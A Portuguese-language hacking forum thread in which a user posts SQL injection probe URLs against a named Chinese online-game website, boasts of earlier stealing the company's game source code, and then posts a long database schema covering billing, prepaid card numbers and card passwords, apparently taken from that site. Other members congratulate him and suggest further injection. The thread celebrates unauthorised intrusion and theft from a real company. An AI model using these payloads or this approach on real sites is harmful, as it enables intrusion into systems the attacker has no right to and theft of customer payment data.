Vulnerabilidade no site de um MMORPG

Iniciado por Wuefez, 17 de Julho , 2007, 03:53:20 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Wuefez

Gente o site é super vuln, eu so nao ownei por causa de um PEQUENO PROBLEMINHA que vocês vão reparar de primeira...

http://www.dk2.com.cn/view.asp?news_id=19'4
http://www.dk2.com.cn/view.asp?news_id=0+OR+1

E uma outra coisa que eu não sei, é que o servidor do banco de dados é esse Microsoft Jet, ou seja não é SQL, ele funciona apenas como um interpretador, não da pra fazer um monte coisas tipo combinar injects com ;.

Mas ta ai o site de um dos maiores jogos online do momento e ta vulzao ainda por cima...


"Quem fala não faz."

Anonymous


HadeS

Huahauhau, foda. Já peguei um servidor assim, há pouco tempo inclusive. Era um site que tava louco pra ownar.

E num OFF aqui, você gosta de MMORPGs né?

HadeS

Wuefez

Demorei um pouco pra responder mas heheh gosto sim, na verdade eu nem gosto de jogar, mas gosto da parte de desenvolver o jogo, eu estou tentando ownar esse Dk2, porque eu ja ownei esses chinas uma vez e roubei os sources deles, e agora queria roubar o site mas ta ok..

FalouzZzzz


"Quem fala não faz."

colt7r

Se voce nao ownou ainda, vale a tentativa de usar Advanced SQL Injection. Querys do tipo "SELECT * FROM USERS".
[]'s

//Colt

Wuefez

O problema é que a sintaxe do sql muda de servidor pra servidor, eu não sabia como eram as regras do microsoft jet (server que eles usam) e por isso foi muito dificil, eu acho que deveria existir um padrao pelo menos entre os 4 principais mysql, postgres, ms-sql e oracle.........

mas enfim, eu sempre consigo o que eu quero com uma forcinha...................

C R E A T E   T A B L E   [ d b o ] . [ F S _ B i l l ]   (
 
  [ B i l l I D ]   [ i n t ]   I D E N T I T Y   ( 1 ,   1 )   N O T   N U L L   ,
 
  [ U s e r N a m e ]   [ v a r c h a r ]   ( 1 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ G a m e A r e a ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ P a y K i n d ]   [ t i n y i n t ]   N O T   N U L L   ,
 
  [ C a r d K i n d ]   [ v a r c h a r ]   ( 4 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ C a r d T y p e ]   [ t i n y i n t ]   N O T   N U L L   ,
 
  [ P a y M o n e y ]   [ s m a l l M o n e y ]   N O T   N U L L   ,
 
  [ P o i n t ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ D a y s ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ B i l l N o ]   [ v a r c h a r ]   ( 1 2 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ B i l l T i m e ]   [ d a t e t i m e ]   N O T   N U L L   ,
 
  [ A t t a c h ]   [ v a r c h a r ]   ( 2 5 5 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ S t a t u s ]   [ t i n y i n t ]   N O T   N U L L   ,
 
  [ P a y I P ]   [ v a r c h a r ]   ( 1 5 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ S u c c T i m e ]   [ d a t e t i m e ]   N U L L   ,
 
  [ M s g ]   [ v a r c h a r ]   ( 2 5 5 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N U L L   ,
 
  [ S i g n a t u r e ]   [ v a r c h a r ]   ( 5 0 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N U L L   ,
 
  [ C h a r g e C a r d ]   [ v a r c h a r ]   ( 1 4 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N U L L   ,
 
  [ U s e S t a t u s ]   [ t i n y i n t ]   N U L L   ,
 
  [ O l d T i m e ]   [ d a t e t i m e ]   N U L L   ,
 
  [ N e w T i m e ]   [ d a t e t i m e ]   N U L L   
 
 )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 C R E A T E   T A B L E   [ d b o ] . [ F S _ C a r d ]   (
 
  [ C a r d I D ]   [ i n t ]   I D E N T I T Y   ( 1 ,   1 )   N O T   N U L L   ,
 
  [ C a r d T y p e ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ C a r d N o ]   [ v a r c h a r ]   ( 1 4 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ P a s s w o r d ]   [ v a r c h a r ]   ( 3 2 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ M a d e T i m e ]   [ d a t e t i m e ]   N O T   N U L L   ,
 
  [ E x p i r e D a t e ]   [ d a t e t i m e ]   N O T   N U L L   ,
 
  [ R e m a r k ]   [ n v a r c h a r ]   ( 1 0 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ P o i n t ]   [ i n t ]   N O T   N U L L   ,
 
  [ D a y s ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ U s e r N a m e ]   [ v a r c h a r ]   ( 1 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N U L L   ,
 
  [ U s e T y p e ]   [ b i t ]   N U L L   ,
 
  [ G a m e A r e a ]   [ s m a l l i n t ]   N U L L   ,
 
  [ U s e T i m e ]   [ d a t e t i m e ]   N U L L   ,
 
  [ U s e I P ]   [ v a r c h a r ]   ( 1 5 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N U L L   ,
 
  [ O l d T i m e ]   [ d a t e t i m e ]   N U L L   ,
 
  [ N e w T i m e ]   [ d a t e t i m e ]   N U L L   ,
 
  [ I s L o c k ]   [ b i t ]   N O T   N U L L   ,
 
  [ I s U s e ]   [ b i t ]   N O T   N U L L   
 
 )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 C R E A T E   T A B L E   [ d b o ] . [ F S _ C a r d T y p e ]   (
 
  [ T y p e I D ]   [ s m a l l i n t ]   I D E N T I T Y   ( 1 ,   1 )   N O T   N U L L   ,
 
  [ C a r d K i n d ]   [ v a r c h a r ]   ( 4 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ T y p e N a m e ]   [ n v a r c h a r ]   ( 5 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ P r i c e ]   [ s m a l l M o n e y ]   N O T   N U L L   ,
 
  [ P o i n t ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ D a y s ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ C a r d C o u n t ]   [ i n t ]   N O T   N U L L   ,
 
  [ U s e C o u n t ]   [ i n t ]   N O T   N U L L   ,
 
  [ I s C a r d ]   [ b i t ]   N O T   N U L L   ,
 
  [ D e l T y p e ]   [ b i t ]   N O T   N U L L   
 
 )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 C R E A T E   T A B L E   [ d b o ] . [ F S _ C h o n g Z h i L o g ]   (
 
  [ C h o n g Z h i I D ]   [ i n t ]   I D E N T I T Y   ( 1 ,   1 )   N O T   N U L L   ,
 
  [ U s e r N a m e ]   [ v a r c h a r ]   ( 1 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ A r e a ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ C a r d N o ]   [ v a r c h a r ]   ( 1 4 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ P a s s w o r d ]   [ v a r c h a r ]   ( 8 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ U s e T y p e ]   [ t i n y i n t ]   N O T   N U L L   ,
 
  [ P o i n t ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ D a y s ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ C h o n g Z h i I P ]   [ v a r c h a r ]   ( 1 5 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ C h o n g Z h i T i m e ]   [ d a t e t i m e ]   N O T   N U L L   ,
 
  [ O l d T i m e ]   [ d a t e t i m e ]   N U L L   ,
 
  [ N e w T i m e ]   [ d a t e t i m e ]   N U L L   
 
 )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 C R E A T E   T A B L E   [ d b o ] . [ F S _ Q A ]   (
 
  [ Q u e s t i o n I D ]   [ i n t ]   I D E N T I T Y   ( 1 ,   1 )   N O T   N U L L   ,
 
  [ U s e r N a m e ]   [ v a r c h a r ]   ( 1 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ G a m e I D ]   [ t i n y i n t ]   N O T   N U L L   ,
 
  [ A r e a I D ]   [ t i n y i n t ]   N O T   N U L L   ,
 
  [ Z h o n g Z u ]   [ t i n y i n t ]   N O T   N U L L   ,
 
  [ J i a o S e ]   [ n v a r c h a r ]   ( 2 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ L i a n X i ]   [ n v a r c h a r ]   ( 1 0 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ Q u e s t i o n ]   [ n t e x t ]   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ Q u e s t i o n T i m e ]   [ d a t e t i m e ]   N O T   N U L L   ,
 
  [ Q u e s t i o n I P ]   [ v a r c h a r ]   ( 1 5 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ A n s w e r ]   [ n t e x t ]   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N U L L   ,
 
  [ A U s e r ]   [ t i n y i n t ]   N U L L   ,
 
  [ A n s w e r T i m e ]   [ d a t e t i m e ]   N U L L   ,
 
  [ A n s w e r I P ]   [ v a r c h a r ]   ( 1 5 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N U L L   ,
 
  [ I s A n s w e r ]   [ b i t ]   N O T   N U L L   ,
 
  [ I s D e l ]   [ b i t ]   N O T   N U L L   
 
 )   O N   [ P R I M A R Y ]   T E X T I M A G E _ O N   [ P R I M A R Y ]
 
 G O
 
 
 
 C R E A T E   T A B L E   [ d b o ] . [ F S _ U s e r W u p i n ]   (
 
  [ I D ]   [ i n t ]   I D E N T I T Y   ( 1 ,   1 )   N O T   F O R   R E P L I C A T I O N     N O T   N U L L   ,
 
  [ U s e r N a m e ]   [ v a r c h a r ]   ( 1 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ W u p i n I D ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ H a v e C o u n t ]   [ i n t ]   N O T   N U L L   
 
 )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 C R E A T E   T A B L E   [ d b o ] . [ F S _ U s e W u p i n L o g ]   (
 
  [ U s e I D ]   [ i n t ]   I D E N T I T Y   ( 1 ,   1 )   N O T   N U L L   ,
 
  [ U s e r N a m e ]   [ v a r c h a r ]   ( 1 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ U s e r A r e a ]   [ v a r c h a r ]   ( 1 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ W u p i n ]   [ i n t ]   N O T   N U L L   ,
 
  [ U s e n u m ]   [ i n t ]   N O T   N U L L   ,
 
  [ U N a m e ]   [ n v a r c h a r ]   ( 5 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ U P a r t ]   [ v a r c h a r ]   ( 1 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ U s e T i m e ]   [ d a t e t i m e ]   N O T   N U L L   ,
 
  [ U s e I P ]   [ v a r c h a r ]   ( 1 5 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ S t a t u s ]   [ b i t ]   N O T   N U L L   
 
 )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 C R E A T E   T A B L E   [ d b o ] . [ F S _ W u p i n ]   (
 
  [ W u p i n I D ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ W u p i n N a m e ]   [ n v a r c h a r ]   ( 1 0 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ W u p i n K i n d ]   [ t i n y i n t ]   N O T   N U L L   ,
 
  [ W u p i n P i c ]   [ n v a r c h a r ]   ( 1 0 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ R e m a r k ]   [ n v a r c h a r ]   ( 1 0 0 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ W u p i n P o i n t ]   [ i n t ]   N O T   N U L L   ,
 
  [ T o t a l ]   [ i n t ]   N O T   N U L L   ,
 
  [ T o t a l P o i n t ]   [ i n t ]   N O T   N U L L   ,
 
  [ V a m p i r e ]   [ b i t ]   N O T   N U L L   ,
 
  [ S l a y e r ]   [ b i t ]   N O T   N U L L   ,
 
  [ O u s t e r s ]   [ b i t ]   N O T   N U L L   ,
 
  [ D e l W u p i n ]   [ b i t ]   N O T   N U L L   
 
 )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 C R E A T E   T A B L E   [ d b o ] . [ F S _ W u p i n R e c o r d ]   (
 
  [ R e c o r d I D ]   [ b i g i n t ]   I D E N T I T Y   ( 1 ,   1 )   N O T   N U L L   ,
 
  [ U s e r N a m e ]   [ v a r c h a r ]   ( 1 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ W u p i n I D ]   [ s m a l l i n t ]   N O T   N U L L   ,
 
  [ C h a n g e C o u n t ]   [ i n t ]   N O T   N U L L   ,
 
  [ C h a n g e R e a s o n ]   [ n v a r c h a r ]   ( 2 0 0 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   ,
 
  [ C h a n g e T i m e ]   [ d a t e t i m e ]   N O T   N U L L   ,
 
  [ C h a n g e I P ]   [ v a r c h a r ]   ( 1 5 )   C O L L A T E   C h i n e s e _ P R C _ C I _ A S   N O T   N U L L   
 
 )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ C a r d ]   W I T H   N o C H E C K   A D D   
 
  C O N S T R A I N T   [ P K _ F S _ C a r d ]   P R I M A R Y   K E Y     C L U S T E R E D   
 
  (
 
  [ C a r d N o ]
 
  )   W I T H     F I L L F A C T O R   =   9 0     O N   [ P R I M A R Y ]   
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ C a r d T y p e ]   W I T H   N o C H E C K   A D D   
 
  C O N S T R A I N T   [ P K _ F S _ C a r d T y p e ]   P R I M A R Y   K E Y     C L U S T E R E D   
 
  (
 
  [ C a r d K i n d ]
 
  )   W I T H     F I L L F A C T O R   =   9 0     O N   [ P R I M A R Y ]   
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ W u p i n ]   W I T H   N o C H E C K   A D D   
 
  C O N S T R A I N T   [ P K _ F S _ W u p i n ]   P R I M A R Y   K E Y     C L U S T E R E D   
 
  (
 
  [ W u p i n I D ]
 
  )   W I T H     F I L L F A C T O R   =   9 0     O N   [ P R I M A R Y ]   
 
 G O
 
 
 
   C R E A T E     C L U S T E R E D     I N D E X   [ I X _ F S _ C h o n g Z h i L o g ]   O N   [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ C h o n g Z h i I D ] ,   [ A r e a ] ,   [ C h o n g Z h i T i m e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ B i l l ]   A D D   
 
  C O N S T R A I N T   [ D F _ F S _ B i l l _ B i l l T i m e ]   D E F A U L T   ( g e t d a t e ( ) )   F O R   [ B i l l T i m e ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ B i l l ]   O N   [ d b o ] . [ F S _ B i l l ] ( [ B i l l I D ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ B i l l _ 1 ]   O N   [ d b o ] . [ F S _ B i l l ] ( [ B i l l N o ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ B i l l _ 2 ]   O N   [ d b o ] . [ F S _ B i l l ] ( [ U s e r N a m e ] ,   [ B i l l N o ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ B i l l _ 3 ]   O N   [ d b o ] . [ F S _ B i l l ] ( [ G a m e A r e a ] ,   [ B i l l I D ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ B i l l _ 4 ]   O N   [ d b o ] . [ F S _ B i l l ] ( [ G a m e A r e a ] ,   [ U s e r N a m e ] ,   [ B i l l I D ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ B i l l _ 5 ]   O N   [ d b o ] . [ F S _ B i l l ] ( [ C a r d K i n d ] ,   [ G a m e A r e a ] ,   [ B i l l T i m e ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ B i l l _ 6 ]   O N   [ d b o ] . [ F S _ B i l l ] ( [ G a m e A r e a ] ,   [ C a r d K i n d ] ,   [ B i l l T i m e ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ C a r d ]   A D D   
 
  C O N S T R A I N T   [ D F _ F S _ C a r d _ M a d e T i m e ]   D E F A U L T   ( g e t d a t e ( ) )   F O R   [ M a d e T i m e ] ,
 
  C O N S T R A I N T   [ D F _ F S _ C a r d _ I s L o c k ]   D E F A U L T   ( 0 )   F O R   [ I s L o c k ] ,
 
  C O N S T R A I N T   [ D F _ F S _ C a r d _ I s U s e ]   D E F A U L T   ( 0 )   F O R   [ I s U s e ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ C a r d ]   O N   [ d b o ] . [ F S _ C a r d ] ( [ C a r d T y p e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ C a r d _ 1 ]   O N   [ d b o ] . [ F S _ C a r d ] ( [ U s e r N a m e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ C a r d _ 2 ]   O N   [ d b o ] . [ F S _ C a r d ] ( [ U s e T i m e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ C a r d _ 3 ]   O N   [ d b o ] . [ F S _ C a r d ] ( [ G a m e A r e a ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ C a r d T y p e ]   A D D   
 
  C O N S T R A I N T   [ D F _ F S _ C a r d T y p e _ C a r d C o u n t ]   D E F A U L T   ( 0 )   F O R   [ C a r d C o u n t ] ,
 
  C O N S T R A I N T   [ D F _ F S _ C a r d T y p e _ U s e C o u n t ]   D E F A U L T   ( 0 )   F O R   [ U s e C o u n t ] ,
 
  C O N S T R A I N T   [ D F _ F S _ C a r d T y p e _ I s C a r d ]   D E F A U L T   ( 1 )   F O R   [ I s C a r d ] ,
 
  C O N S T R A I N T   [ D F _ F S _ C a r d T y p e _ D e l T y p e ]   D E F A U L T   ( 0 )   F O R   [ D e l T y p e ]
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ C h o n g Z h i L o g ]   A D D   
 
  C O N S T R A I N T   [ D F _ F S _ C h o n g Z h i L o g _ C h o n g Z h i T i m e ]   D E F A U L T   ( g e t d a t e ( ) )   F O R   [ C h o n g Z h i T i m e ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ C h o n g Z h i L o g _ 1 ]   O N   [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ C a r d N o ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ C h o n g Z h i L o g _ 2 ]   O N   [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ C h o n g Z h i T i m e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ C h o n g Z h i L o g _ 3 ]   O N   [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ A r e a ] ,   [ U s e r N a m e ] ,   [ C h o n g Z h i T i m e ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ C h o n g Z h i L o g _ 4 ]   O N   [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ A r e a ] ,   [ C h o n g Z h i T i m e ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ C h o n g Z h i L o g _ 5 ]   O N   [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ C h o n g Z h i T i m e ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ C h o n g Z h i L o g _ 6 ]   O N   [ d b o ] . [ F S _ C h o n g Z h i L o g ] ( [ O l d T i m e ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ Q A ]   A D D   
 
  C O N S T R A I N T   [ D F _ F S _ Q A _ Q u e s t i o n T i m e ]   D E F A U L T   ( g e t d a t e ( ) )   F O R   [ Q u e s t i o n T i m e ] ,
 
  C O N S T R A I N T   [ D F _ F S _ Q A _ A U s e r ]   D E F A U L T   ( 0 )   F O R   [ A U s e r ] ,
 
  C O N S T R A I N T   [ D F _ F S _ Q A _ I s A n s w e r ]   D E F A U L T   ( 0 )   F O R   [ I s A n s w e r ] ,
 
  C O N S T R A I N T   [ D F _ F S _ Q A _ I s D e l ]   D E F A U L T   ( 0 )   F O R   [ I s D e l ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ Q A ]   O N   [ d b o ] . [ F S _ Q A ] ( [ Q u e s t i o n T i m e ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ Q A _ 1 ]   O N   [ d b o ] . [ F S _ Q A ] ( [ U s e r N a m e ] ,   [ Q u e s t i o n T i m e ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ Q A _ 2 ]   O N   [ d b o ] . [ F S _ Q A ] ( [ A U s e r ] ,   [ Q u e s t i o n T i m e ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ U s e r W u p i n ]   A D D   
 
  C O N S T R A I N T   [ D F _ F S _ U s e r W u p i n _ H a v e C o u n t ]   D E F A U L T   ( 0 )   F O R   [ H a v e C o u n t ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ U s e r W u p i n ]   O N   [ d b o ] . [ F S _ U s e r W u p i n ] ( [ U s e r N a m e ] ,   [ W u p i n I D ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ U s e r W u p i n _ 1 ]   O N   [ d b o ] . [ F S _ U s e r W u p i n ] ( [ W u p i n I D ] ,   [ U s e r N a m e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ U s e r W u p i n _ 2 ]   O N   [ d b o ] . [ F S _ U s e r W u p i n ] ( [ W u p i n I D ] ,   [ H a v e C o u n t ] ,   [ U s e r N a m e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ U s e W u p i n L o g ]   A D D   
 
  C O N S T R A I N T   [ D F _ F S _ U s e W u p i n L o g _ U s e T i m e ]   D E F A U L T   ( g e t d a t e ( ) )   F O R   [ U s e T i m e ] ,
 
  C O N S T R A I N T   [ D F _ F S _ U s e W u p i n L o g _ S t a t u s ]   D E F A U L T   ( 0 )   F O R   [ S t a t u s ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ U s e W u p i n L o g ]   O N   [ d b o ] . [ F S _ U s e W u p i n L o g ] ( [ U s e I D ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ U s e W u p i n L o g _ 1 ]   O N   [ d b o ] . [ F S _ U s e W u p i n L o g ] ( [ U s e r N a m e ] ,   [ U s e T i m e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ W u p i n ]   A D D   
 
  C O N S T R A I N T   [ D F _ F S _ W u p i n _ T o t a l ]   D E F A U L T   ( 0 )   F O R   [ T o t a l ] ,
 
  C O N S T R A I N T   [ D F _ F S _ W u p i n _ T o t a l P o i n t ]   D E F A U L T   ( 0 )   F O R   [ T o t a l P o i n t ] ,
 
  C O N S T R A I N T   [ D F _ F S _ W u p i n _ D e l W u p i n ]   D E F A U L T   ( 0 )   F O R   [ D e l W u p i n ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ W u p i n ]   O N   [ d b o ] . [ F S _ W u p i n ] ( [ W u p i n I D ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ W u p i n _ 1 ]   O N   [ d b o ] . [ F S _ W u p i n ] ( [ W u p i n K i n d ] ,   [ W u p i n I D ] )   O N   [ P R I M A R Y ]
 
 G O
 
 
 
 A L T E R   T A B L E   [ d b o ] . [ F S _ W u p i n R e c o r d ]   A D D   
 
  C O N S T R A I N T   [ D F _ F S _ W u p i n R e c o r d _ C h a n g e T i m e ]   D E F A U L T   ( g e t d a t e ( ) )   F O R   [ C h a n g e T i m e ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ W u p i n R e c o r d ]   O N   [ d b o ] . [ F S _ W u p i n R e c o r d ] ( [ U s e r N a m e ] ,   [ W u p i n I D ] ,   [ C h a n g e T i m e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ W u p i n R e c o r d _ 1 ]   O N   [ d b o ] . [ F S _ W u p i n R e c o r d ] ( [ W u p i n I D ] ,   [ C h a n g e T i m e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 
 
   C R E A T E     I N D E X   [ I X _ F S _ W u p i n R e c o r d _ 2 ]   O N   [ d b o ] . [ F S _ W u p i n R e c o r d ] ( [ U s e r N a m e ] ,   [ C h a n g e T i m e ] )   W I T H     F I L L F A C T O R   =   9 0   O N   [ P R I M A R Y ]
 
 G O
 
 


"Quem fala não faz."

HadeS

Eita, deveria existir um padrão mesmo.

Essas tabelas é do site mesmo ou tá mostrando como exemplo?

E parabéns Wuefez!

HadeS

Wuefez

O que você acha?
heheheheheheheheheheheh

Cara eu to montando o site gidzero.org, no momento esta vazio, eu ia fazer o site em php mas decidi fazer em rails, a proposta do site é ser um site de segurança Brasileiro a nivel internacional, bem você sabe, depois eu passo aqui para postar mais informações.......


"Quem fala não faz."

HadeS